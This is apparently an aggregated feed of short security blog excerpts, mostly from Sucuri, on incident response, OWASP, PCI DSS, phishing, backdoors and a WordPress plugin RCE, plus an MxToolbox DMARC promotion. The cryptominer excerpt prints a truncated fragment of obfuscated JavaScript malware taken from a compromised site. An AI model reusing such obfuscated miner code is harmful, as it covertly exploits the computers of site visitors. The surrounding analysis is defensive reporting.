Creating a Response Plan You Can Trust

Creating a Response Plan You Can TrustAs a website owner, you may have experienced your website being down for any number of reasons. Maybe due to errors in code, server related difficulties or even being under attack from bad actors.

I once shared my own experience of a hacked website in a webinar. Whether you have one site or hundreds, when restoring your online presence it is imperative to have a process in place.

If Your Website Gets Hacked, What is Your Plan?

Continue reading Creating a Response Plan You Can Trust at Sucuri Blog.

Source: Scuri check

Malicious Redirects from NewShareCounts.com Tweet Counter

Malicious Redirects from NewShareCounts.com Tweet CounterWhen Twitter announced their new design for “Tweet” and “follow” buttons back in October 2015, marketers across the web developed a mild anxiety—the new design came with a decision to nuke their beloved Tweet count feature.

Social signals can be a huge credibility indicator for visitors and site content. Who doesn’t think there’s a psychological relationship between the number of social shares and the credibility of a content piece? It’s social validation, plain and simple.

Continue reading Malicious Redirects from NewShareCounts.com Tweet Counter at Sucuri Blog.

Source: Scuri check

Product Update: Sucuri Firewall in Singapore and Amsterdam

Product Update: Sucuri Firewall in Singapore and AmsterdamOver three years ago, we transitioned the Sucuri Firewall (WAF) away from the cloud and expanded it to run on top of our own Anycast content delivery network (CDN).

We provide security for websites with the protection of our WAF as well as performance benefits of a CDN. We have been adding data centers in key regions of the world:

  • San Jose – US
  • Dallas – US
  • Washington D.C.

Continue reading Product Update: Sucuri Firewall in Singapore and Amsterdam at Sucuri Blog.

Source: Scuri check

Security Monitoring Saves the Day

Security Monitoring Saves the DayFor the second week of  National Cyber Security Awareness Month, we would like to focus on a very important part in having a good website security posture: monitoring.

How can security monitoring save your day?

Most people only care about their website security after something bad has already happened. However, how can you tell when something is attempting to harm your website? Sometimes it is a very noticeable issue, such as:

  • website defacement – when the home page of the website is wiped out and something else appears in front of the visitor’s eyes;
  • unresponsive website – when the website pages respond too slowly or stop loading at all;
  • SEO spam – when the website listing in search engines shows unrelated spam keywords, often pharma keywords; or
  • a website blacklist warning – when a red warning page shows all your visitors that the website they are about to go to is not secure.

Continue reading Security Monitoring Saves the Day at Sucuri Blog.

Source: Scuri check

Obfuscated JavaScript Cryptominer

Obfuscated JavaScript CryptominerDuring an incident response investigation, we detected an interesting piece of heavily obfuscated JavaScript malware. Once decoded, we found out that cryptominers were running on visitor’s computers when they accessed our customer’s website.

We have previously discussed how cryptomining can happen in many covert ways. In this post, we will show you how a malicious code can create a cryptominer.

Malware that Creates Cryptominer Code

Take a look at the following malware:

<script>$=~[];$={:++$,$$$$:(![]+””)[$],$:++$,$$:(![]+””)[$],$:++$,$$$:({}+””)
[$],$$$:($[$]+””)[$],$$:++$,$$$:(!””+””)[$],$:++$,$_$:++$,$$:({}+””)
[$],$$
:++$,$$$:++$,$:++$,$$:++$};$.$=($.$=$+””)[$.$$]+($.$=$.$[$.$])+
($.$$=($.$+””)[$.
$])+((!$)+””)[$.$$]+($.=$.$[$.$$])+($.$=(!””+””)[$.$])+($.=(!””+””)
[$.$])+$.$[$.$$]+$.+$.$+$.$;$.$$=$.$+(!””+””)[$.$$]+$.+$.+$.$+$.$$;$.$=($.___)
[$.$
][$.$_];$.$($.$($.$$+”””+””+$.__$+$.$$_+$.$$_+$.$_$_.

Continue reading Obfuscated JavaScript Cryptominer at Sucuri Blog.

Source: Scuri check

OWASP Top 10 Security Risks – Part I

OWASP Top 10  Security Risks – Part IIt is National Cyber Security Awareness Month and in order to bring awareness to what threatens the integrity of websites, we would like to start a series of post on the OWASP top 10 security risks.

OWASP stands for the Open Web Application Security Project, an online community that produces articles, methodologies, documentation, tools, and technologies in the field of web application security.

OWASP Top 10 is the list of the 10 most seen application vulnerabilities.

Continue reading OWASP Top 10 Security Risks – Part I at Sucuri Blog.

Source: Scuri check

October Cybersecurity Month

October Cybersecurity MonthSince 2003, October has been recognized as National Cybersecurity Awareness Month. It is an annual campaign to raise awareness about the importance of cybersecurity and being a better digital citizen.

October has just started and a majority of security companies are promoting internet security. With the holidays fast approaching, it is a crucial time for website owners, especially ones with an e-commerce website, to be cyber secure.

The end of the year is also the season when hackers try to profit the most.

Continue reading October Cybersecurity Month at Sucuri Blog.

Source: Scuri check

PCI for SMB: Requirement 7 & 8 – Implement Strong Access Control Measures

PCI for SMB: Requirement 7 & 8 – Implement Strong Access Control MeasuresThis is the fifth post in a series of articles on understanding the Payment Card Industry Data Security Standard – PCI DSS. We are halfway there! In the previous articles about PCI, we covered the following:

  • Requirement 1: Build and Maintain a Secure Network – Install and maintain a firewall configuration to protect cardholder data.
  • Requirement 2: Build and Maintain a Secure Network – Do not use vendor-supplied defaults for system passwords or other security parameters.

Continue reading PCI for SMB: Requirement 7 & 8 – Implement Strong Access Control Measures at Sucuri Blog.

Source: Scuri check

SSL vs. Website Security

SSL vs. Website SecurityHaving a website today is way easier than it was 10 or 15 years ago. Tools like content management systems (CMS), website builders, static site generators and alike remove a lot of the friction around building and maintaining sites. But, is there a price for such convenience?

I would dare to say that one of the downsides to bringing such facilities to the masses is the creation of misconceptions. The biggest misconception is about what makes a website secure versus not secure.

Continue reading SSL vs. Website Security at Sucuri Blog.

Source: Scuri check

E-Commerce Security – Planning for Disasters

E-Commerce Security – Planning for DisastersThis is the last post in our series on E-commerce Security:

  • Intro to Securing an Online Store – Part 1
  • Intro to Securing an Online Store – Part 2

Today, let’s expand on some of the suggestions made during a webinar I hosted recently about steps you can take to secure your online store.

So far in this series, we have touched on how to identify potential risks and how to defend against threats via WAF technologies.

Continue reading E-Commerce Security – Planning for Disasters at Sucuri Blog.

Source: Scuri check

Backdoor Uses Paste Site to Host Payload

Backdoor Uses Paste Site to Host PayloadFinding backdoors is one of the biggest challenges of a website security analyst, as backdoors are designed to be hidden in case the malware is found and removed.

Website Backdoors

A backdoor is a piece of malware that attackers leave behind to allow them access back into a website. Hackers like to inject code into different locations to increase their chances of retaining control of the website so they can reinfect it continuously.

Continue reading Backdoor Uses Paste Site to Host Payload at Sucuri Blog.

Source: Scuri check

Outdated Duplicator Plugin RCE Abused

Outdated Duplicator Plugin RCE AbusedWe’re seeing an increase in the number of cases where attackers are disabling WordPress sites by removing or rewriting its wp-config.php file.

These cases are all linked to the same vulnerable software: WordPress Duplicator Plugin.

Versions lower than 1.2.42 of Snap Creek Duplicator plugin are vulnerable to a Remote Code Execution attack, where the malicious visitor is able to run any arbitrary code on the target site.

Continue reading Outdated Duplicator Plugin RCE Abused at Sucuri Blog.

Source: Scuri check

Unsuccessfully Defaced Websites

Unsuccessfully Defaced WebsitesDefaced websites are a type of hack that is easy to notice and a pain for website owners. Recently, we came across some defacement pages with a peculiar JavaScript injection included in the source code.

What is a Defacement?

Website defacement is a hack that often involves adding malicious images to the website homepage and other important pages. Beyond the initial embarrassment, the effects of defacement can include loss of traffic, revenue, and trust in your brand.

Continue reading Unsuccessfully Defaced Websites at Sucuri Blog.

Source: Scuri check

New Guide on How to Use the Sucuri WordPress Security Plugin

New Guide on How to Use the Sucuri WordPress Security PluginSucuri has always been active in the WordPress community. We’ve attended WordCamps around the world, created tools and features specifically for WordPress, and have maintained a free WordPress security plugin with over 400k installations.

If you don’t already have it, you can download the Sucuri Security – Auditing, Malware Scanner and Security Hardening plugin directly from the official WordPress repository.

Recently, we launched a guide on How to Use the WordPress Security Plugin.

Continue reading New Guide on How to Use the Sucuri WordPress Security Plugin at Sucuri Blog.

Source: Scuri check

PCI for SMB: Requirement 5 & 6 – Maintain a Vulnerability Management Program

PCI for SMB: Requirement 5 & 6 – Maintain a Vulnerability Management ProgramThis is the fourth post in a series of articles on understanding the Payment Card Industry Data Security Standard – PCI DSS. We want to show how PCI DSS can help anyone going through the compliance process using the PCI SAQ’s (Self Assessment Questionnaires). In the previous articles we have written about PCI, we covered the following:

  • Requirement 1: Build and Maintain a Secure Network – Install and maintain a firewall configuration to protect cardholder data.

Continue reading PCI for SMB: Requirement 5 & 6 – Maintain a Vulnerability Management Program at Sucuri Blog.

Source: Scuri check

WordPress Database Upgrade Phishing Campaign

WordPress Database Upgrade Phishing CampaignWe have recently been notified of phishing emails that target WordPress users. The content informs site owners that their database requires an update and looks like this:

The email’s appearance resembles that of a legitimate WordPress update message, however the content includes typos and uses an older messaging style. Another suspicious item in the content is the deadline. WordPress wouldn’t define deadlines without a valid explanation, and hosting providers wouldn’t either (if you believed the email was from them).

Continue reading WordPress Database Upgrade Phishing Campaign at Sucuri Blog.

Source: Scuri check

The State of DMARC – Fortune 500 vs Alexa 1000

DMARC adoption is accelerating. From the initial launch in 2012 by email inbox providers trying to protect their users to large companies looking to improve email delivery, DMARC has achieved worldwide adoption. However, new technology like DMARC goes through a cycle of adoption, and DMARC appears to be lagging among companies that would be typical targets for spoofing, spamming and hacks – Fortune 500 and Alexa 1000 domains.

Print

MxToolbox’s State of DMARC Adoption is a periodic evaluation of how inbox providers, businesses and government organizations are progressing in adopting DMARC to protect their inbound and outbound email.  As your expert in email deliverability, MxToolbox is committed to helping you protect your email so that your business can thrive.  DMARC adoption is paramount to improving your email deliverability.  Read more.

DMARC is the key to improving Email Deliverability!

Email is the key to your customer communication strategy.  But, what is your email reputation?

Setting up and managing your DMARC configuration is the key to getting insight into your email delivery.  MxToolbox is the key to understanding DMARC.

MxToolbox Delivery Center gives you:

  • Who is sending phishing email purporting to be from your domain
  • What is the reputation of your domains and delegated IPs
  • Where other senders are and What their reputations are
  • How your SPF, DKIM and DMARC setup is performing

Learn More

 

 

Source: MXtoolbox

How to Improve Your Website Security Posture – Part II

How to Improve Your Website Security Posture – Part IIIn the first post of this series, we discussed some of the main website security threats. Knowing the website security environment is a vital part of a good website posture. However, it is also important to be aware of what to do to strengthen your website.

Today, we are going to give you some practical tips on how to improve your website posture.

As a website owner, we highly recommend using the principle of least privilege. It is a computer science principle which can be applied to every level in a system and the benefits strengthen your website security posture.

Continue reading How to Improve Your Website Security Posture – Part II at Sucuri Blog.

Source: Scuri check

Core Integrity Verifications

Core Integrity VerificationsIn order to clean a malware infection, the first thing we need to know is which files have been compromised. At Sucuri, we use several techniques including whitelists, blacklists, and anomaly checks. In this blog post, we’re going to be focusing on how core integrity checks are a key component of the whitelisting model and how this is aids in effectively detecting malware.

Cryptographic Hash Functions and Checksums

When a website compromise happens, attackers add, modify, or delete files from the server.

Continue reading Core Integrity Verifications at Sucuri Blog.

Source: Scuri check